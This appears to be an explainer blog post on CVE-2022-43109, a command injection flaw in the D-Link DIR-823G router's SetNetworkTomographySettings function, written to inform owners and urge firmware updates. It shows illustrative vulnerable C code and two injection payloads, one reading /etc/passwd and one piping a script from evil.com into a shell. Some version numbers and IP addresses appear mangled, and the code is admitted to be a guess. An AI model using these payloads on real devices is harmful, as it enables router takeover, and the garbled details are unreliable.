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The internet is full of helpful smart devices, but sometimes these gadgets can have critical flaws. One such problem was found in a D-Link router model DIR-823G, version 1..2, and is filed as CVE-2022-43109. This post will break down CVE-2022-43109 in simple language so you understand what went wrong, how hackers could abuse this bug, and how you can protect your home network.

What is CVE-2022-43109?

CVE-2022-43109 is a command injection vulnerability. That means there’s a bug in the router’s software that lets attackers make the router run commands they should never be allowed to execute. The vulnerable code is found in a function called SetNetworkTomographySettings.

How Does the Exploit Work?

When you use your router, sometimes you or the router itself might adjust network settings using a web interface or a mobile app. For technical settings, the router has a function (part of its software) called SetNetworkTomographySettings. It’s meant to process ordinary configuration changes.

But a bug in the software means that when the router gets network settings from a user (or, in this case, a hacker), it doesn’t check if those settings contain potentially dangerous commands.

This type of bug is called unsanitized user input. Instead of filtering out unsafe parts, it just trusts whatever it receives.

What does that mean in practice?  
Let’s suppose there’s a setting called source that normally contains a safe value like 127...1. But what if someone sends:  

127...1; cat /etc/passwd


The router will process both values as if they’re part of the setting, but the semi-colon splits the input so that cat /etc/passwd is executed as a separate command. This can leak sensitive information, let hackers change passwords, create hidden accounts, or even install malware on your router!

Here is an example of how the vulnerable code might look (simplified for clarity)

int SetNetworkTomographySettings(char *source)
{
    char command[256];
    // BAD: Directly copy user input into command
    sprintf(command, "/usr/bin/ping %s", source);
    system(command); // CRITICAL FLAW!
    return ;
}


What’s wrong here?
The function takes user input (source), inserts it directly into a shell command, and runs it with system(). Any malicious command inside source gets executed with full system privileges!

- The payload could look like

source=127...1;wget http://evil.com/sh -O- | sh

Real-World Impact

- Any attacker on your local network — or sometimes even from the internet — could gain full control of your router.

If your router is compromised, your whole home network is at risk.

- Attackers could steal credentials, monitor your online activities, or use your connection for illegal activities.

Update Your Firmware:

Check for a firmware update from D-Link’s official support site.

References

- Original CVE Record: CVE-2022-43109
- CNVD Advisory *(Chinese)*
- D-Link Support for DIR-823G
- Sample Proof-of-Concept on GitHub *(if available)*

Conclusion

CVE-2022-43109 is a serious security flaw that lets hackers control your D-Link DIR-823G router simply by sending a specially crafted packet. If your router is affected, update it and take the steps above to protect your network. Even small devices can have dangerous bugs, so it’s always a good habit to keep your tech up to date!

Timeline

Published on: 11/03/2022 14:15:00 UTC
Last modified on: 11/04/2022 15:52:00 UTC